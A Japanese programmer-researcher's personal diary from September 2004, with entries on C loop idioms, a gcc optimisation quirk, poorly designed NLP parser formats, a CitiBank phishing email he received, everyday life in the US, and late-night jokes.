実際にはこれは厳密に前の strcpy と同じではない。 さいごに '\0' を見たあとに src と dst を増加させないからだ (前のバージョンではしている)。これはこの関数だけでは何も差がないが、 実際には (たとえばこの while のあとにさらに処理を続ける場合) 最後の '\0' はキープしたままにしてほしいときがよくある。 ほかにも、ここにはいくつかの「心がけ」とでもいうものが現れていると思う:

とくに while (1) は以前はまずやんなかった方法だ。 でも最近ではこのほうがより直球でいいと思っている。 Knuth せんせいは著書「文芸的プログラミング」の中で、 goto で抜け出したほうがきれいにかけるループを提案している。 というのも Python を使っていると「while 1:」 を結構使う機会があるからである。 たとえば、次のようなぐあいだ:

while 1:
  line = fp.readline()
  if not line: break
  ...

いまでは fp.xreadlines があるので、 これは for に置きかえ可能だが、while を使うという 制約がある場合にはこれが一番スッキリしてると思う。これ以外のケースでは while の前か後に余計な繰り返しをもう一個入れてやらねばならなくなる。

ついでにいうと最近 switch ... case も使わなくなった。 getopt を呼ぶときだけは面倒なんで使っているけど、 gcc などでは case の分岐が多い場合、分岐先をテーブルに変換して 速度をあげてくれるらしいが、ソンなものは邪道だ。 そもそも casebreak; ってぜったい設計ミスだよな。 while の中で使う「ループから抜け出す break」と case で使う「分岐から抜け出す break」は 意味違うだろうに。むしろ continue のほうが合ってるくらいだ???

もう寝る。

(01:59)
いま思ったんだけどモノモライになったのは目を長い時間 見開きすぎていたためだろうか。 目をずっと開いていると雑菌が入りやすくなるんだろうか。そういえばときどき ビックリした顔が永久に直らなくなったような顔のひとがいるけど、ああいう人は 普通よりもモノモライになりやすいのだろうか。それにしてmo失礼(ひつれい)な奴だなーーオレって。

もう寝る。

(02:03)
どうでもいいけど Apache のインストール後の最初のページだが、むかしは 「It Works!」だったのに、いつから「あなたの予想に反して…」になったんだろ? 以下のように変更すると笑える:

もう寝る。

(02:05)
やばい! また電波が!!

もう寝る。寝るったら

Sep 22 [Wed]


(09:44)
モノモラー、ほとんど完治。 新山はおよそ病気らしい病気にほとんどかかったことがないので (まあたいていの人はそうだろうが)、 たまに珍しい病気 (こないだのジルベール薔薇色病とか) にかかるとそれだけでアワアワしてしまう。 べつにモノモラーなんか珍しくもないって?
(14:32)
(ここは、笑うところ)
(15:36)
ITで、エコ。 とは何か? その真髄はこうだ:

新しいパソコン買うな!
古いパソコン捨てるな!!

そのための対策はさしあたって次のようなものとなる:

ばかめばかめ NEC。自分たちの売り上げを落とすようなことしやがって。 オレはだまされないぞ!!

(ここは、笑わないところ)

(23:37)
それにしても、分散データベース関連の勉強をしていると実にこれこそ 真のハードコアな計算機科学だという気がしてくる。ここでは のだ。計算機上では必ずどちらかが先でどちらかが後になる。 2つのことが「同時に」起こるなんてありえない。 そしてマシンが違えば時間の進み方も違う。しかも、 別のマシンの時間はまったく予測不可能なやりかたで 勝手に進んだり遅れたりするのだ。 分散トランザクションのさいにはこのことをキモに命じておかないと 致命的なバグが発生しうる。ってことでとにかく「時間入り数学」っぽいのだけど 非常のムズいです。やはりオレみたいなのは文字列をいじくって 遊んでるほうがいいみたい。なぜなら分散トランザクションを間違えれば 下手すると人が死にかねないが、自然言語処理を信用するやつなんて いないから、圧倒的にこちらのほうが気楽なぬである。
(00:02)
誰であれ、人は自分と同レベルの人間に腹を立てるものだ

、なあ。と、思った。

Sep 21 [Tue]


(10:13)
朝 7時ごろに目がさめたのだがまた眠ってしまった。敗北。
(10:59)
おいこら -O3 つけたら結果変わったぞぉ!! どうゆうことだこれは!!

あきらかに -O0 のときと -O3 のときで結果が違うのですが…。 gcc-2.96 と gcc-3.2.2 でもそうなる。くそったれ。

(11:45)
わりと悪質な spam がきた。phisching というのか。
"CitiBank のお客様へ - 最近顧客情報の盗難による被害が多発しています。…以下のページから もう一度個人情報のチェックをしてください。このプロセスは必須のものであり、 規定された日時のうちにお客様のチェックを確認できない場合は、 現在お使いの口座を一時的に停止させていただくことがあります…。"
HTML メールでみると Citi のロゴがある。件名は "CitiBank Official Update [Tue, 21 Sep 2004 14:13:41 -0200]" となっていて、末尾には CitiCorp の版権までついており、レイアウトや色使いもいかにもそれっぽい。 しかし、あやしいところが数箇所ある: で、Received: をみるとどっかのドイツのあやしいプロバイダから送られており、 明らかにウソなわけだ。しかしこれにひっかかる人は多勢いそうだな。 でも、もっと気になるのが、新山は実際 CitiBank のユーザなわけで、 「どっからオレのメールアドレスが漏れたのか?」ということなのだった。 @cs の人々全員に来たんであればいいけど、本当に CitiBank の客だけを 狙っていたのなら大問題だな。あの銀行はどっかから情報を漏らしたことになるぞ。
(12:05)
いま浅間山に登るのは自己責任でお願いします。

しかし AskJeeves が Google においつくのは難しいだろう。 やつの欠点は圧倒的にダサイということにあると思う。 インタフェイスもダサいし、いかにも元気なさそう。

(12:47)
げーーーっ、家でのろくさプログラム組んでたら、もうこんな時間だよ。 きょうはミーチィングがあるだ。大学行かなkyaこら牛(もう)遅刻決定
(13:38)
今日はミーチィングないらしい。たすかった
(14:16)
最適化オプションを変えると結果が変わる原因判明。 どうやらグローバル変数を使ったのがいけなかったらしい。 何がどういけないんだかワカランが、再帰が入りくんだ中でこいつに アクセスするとヘンな部分が展開されるのだろう。すべてポインタ渡しするようにしたら 直った (が、使い捨てコードなのにそこまでするのは面倒じゃんよ)。 まだまだ gcc も最適化にはバグがあるんだなあ。 (そういえばこないだ、ぐりむ先生のオフィスの前を通ったら 中から彼が「gcc のバカ! gcc のバカ!」といっているのが聞こえた、笑える)
(17:13)
なんで言語処理関係のツールにはこうも「全然わかってない」のが多いんかね? 「結果でりゃいい」って高飛車なのが多すぎる。 ぜんぜん組み合わせられねーーだろーーがよ!!! ぶつぶつ。

たとえば通常の文書 (HTMLでもいい) には単語や名詞句などの自然言語的な情報以外にも たくさんのたくさんの情報が交錯している。レイアウトとか文書IDとか単語の段落内における位置とかである。 ところがほとんどのツールに通すとそれらの情報はぜんぶ失われてしまう (というか、解析エラーになるので、 失わざるを得ない)。しょうがないので、これらの情報はいちど分離して保存しておいて、 あとで解析結果をみながらつき合わせるといったことをする。しかし解析器の中にはときどき 勝手に情報を書き換えたりトバしたりするやつがいて、そいつに合わせるのは並大抵の努力ではない。 はっきりって、こんなの、 時間の無駄デス。 Collins のパーザは入力フォーマットにひどく具合の悪いものを要求するし、 出力も非常にアレだがこの部分は根本的に作り直した。で、つぎはセキネさんのパーザなんだが…、これも 不満続出なので自力改造するしかないんだが… 読みたくねーーーー! というか、このヒトのはいろんなフォーマットをサポートしてるために 入出力の部分がしっちゃかめっちゃかになっていて、とても読みにくい。おまけに全部 strcmp レベルの 処理で書いてあるし。よくこんなん書いた! とは思うが、これじゃへたに変更もできない。 STL とか使ってどうなるレベルじゃないと思う。そもそも、設計からして腐っているのである。 この手の話は Ralph も以前嘆いているのを聞いたが、なんらかの統一した、超汎用的なフォーマットが 必要だと思う (まあ、実際にはそんなモンは存在せんがね)。 しかし最近はそうすると xml 馬鹿が何か言いだしそうだな。むかしの Tipster project では、 文書中の単語やなにやらはすべて「文書の文字レベルでの位置オフセット」で指定してたというが、 さすがにそれじゃなあ。ちなみに Chasen などは解析部分を DLL にしたり Perl のモジュールに したりしているが、これはごまかしにすぎない。どんな呼び出し形式にしようが、 入出力のフォーマットが腐っていれば使えない。そんなこたー、ちょっとリアルな文書を 相手にしてみりゃわかるだろうに、残念ながらほとんどの研究者はよく整備された「きれいな」コーパスしか 知らないのである (形式をそろえるのは別のレイヤの仕事だと思っている)。あまいよね。 表層は以外と深層だ。じつはこうした表層の部分と統合できるかどうかはあんがい根本的な問題のような気がする (といっても新山のようにフォントの字形や行間で書籍を評価するような奴は行きすぎだが)。 そんなようでは Google に先を越されるのは時間の問題であるが、もうすでに時間の問題じゃないかもしれない。

(17:51)
てくるで新山はメガカワカー (目が乾く人の意、空調のあるオフィスにいるとつらい) であるので、 コンタクトレンズ着用者でもないのに人工涙を常用している。 英語で artificial tears というのを訳しただけだが、ほんらい日本語では何て言うのが一般的なんだろ? しかも、保存料なしのやつを使っているので、毎回毎回容器を使いすてにするのがなんか もったいない感を感じるなあ。フォークを捨てるのと同じような感覚だ。 やっぱり「プラスチックを日常的に捨てる」国はどっか間違ってると思うよ。日本もそうだけど。
(18:45)
雑貨を買いにあちこち 4店ぐらい行き、完全敗北 (=どこでも何も欲しいものが見つからない) して 帰ってきた。新山が買いたかったものは 2つある。ひとつは「ハタハタ君 (←新山が勝手につけた名前。 合成樹脂でできたフワフワしたハタキのようなやつで、静電気でホコリを吸着する)」である。 日本だとオフィス製品屋でよく売っているが、OfficeDepot にいっても STAPLES にいってもなかった。 DuaneReade にもない。Kmart にもない。そしてもうひとつ最近探してたのが、米国版 「きっちんハイター」であru. べつに花王がいやならキッチンブリーチでもいいよ。ジョンソンのでもいい! ところがこれもなかった。 米国ならもっと強力な、手までとろけそうな薬品が売ってるかと思ったら、ないのな。 こっちの人はまな板を消毒したりとかティーポットを漂白したりとかしないみたいだ。 あるいわ日本人が神経質すぎるのか。まえに東京にいたとき、トイレ用の塩素系漂白剤 (ドメスト) で コップを消毒してみたことがあったが、あれはあんましいい気分しないのでできればやめたい…。 ま、最初ッから正直に sunrise mart とかをさがしてればよかったのかもしれないが。知ったことか。

米国で暮らすようになってけっこう最初悩んだのが、日本なら簡単に手に入る日曜雑貨品の 「あれがない!」という状態がけっこう多かったことである。とくに湯わかしポットなどはどこをさがしてもなくて、 米国ではそんなもんまったく使う必要がない (コーヒーは専用の自動的コーヒーメーカーで入れるし、 紅茶はどうすんだ? 飲まなきゃいいいのか) ということを知ったのはあとになってからであった。 結局そのときはチャイナタウンでタイガー製のやつを買った。なぜならオレはお茶中毒だからで、 緑茶なしには人生やっていけないのである。moo!

もうこうなったらお風呂場用の TILEX でも使ってみようか。

(19:12)
もうドーーーでもいい修正でさっさと逃げる。やり気ぬス。 (やる木なし)
(19:45)
はて?? オレはなぜ PDF の仕様書なぞを読みふけっておるのだろう??
(20:04)
ケッキョキ今日は入力フォーマットの統一で一日かかった。 いや、昨日とあわせて 2日かかっている、しかしこれですめばいいほうなのである。 実際にはまだまだ苦労する予定…。もう帰ろ
(01:57)
“料理”と“サバのみそ煮”の共通点は?
答えはこれである:
“サバのみそ煮”

意味がわからないって? この論理は下の図からも明らかだ:

つまり

料理 ⊃ サバのみそ煮
したがって
料理 ∩ サバのみそ煮 = サバのみそ煮
(らしょなーれ)

お前もう寝ろよ
Q.E.D.
(02:05)
もちろんもう頼まれても寝てやるが、今日という日におさらばする前にひとつ言いのこしておくことがある。

ヨウカンの残りはあと 3つだ!! -1


Yusuke Shinyama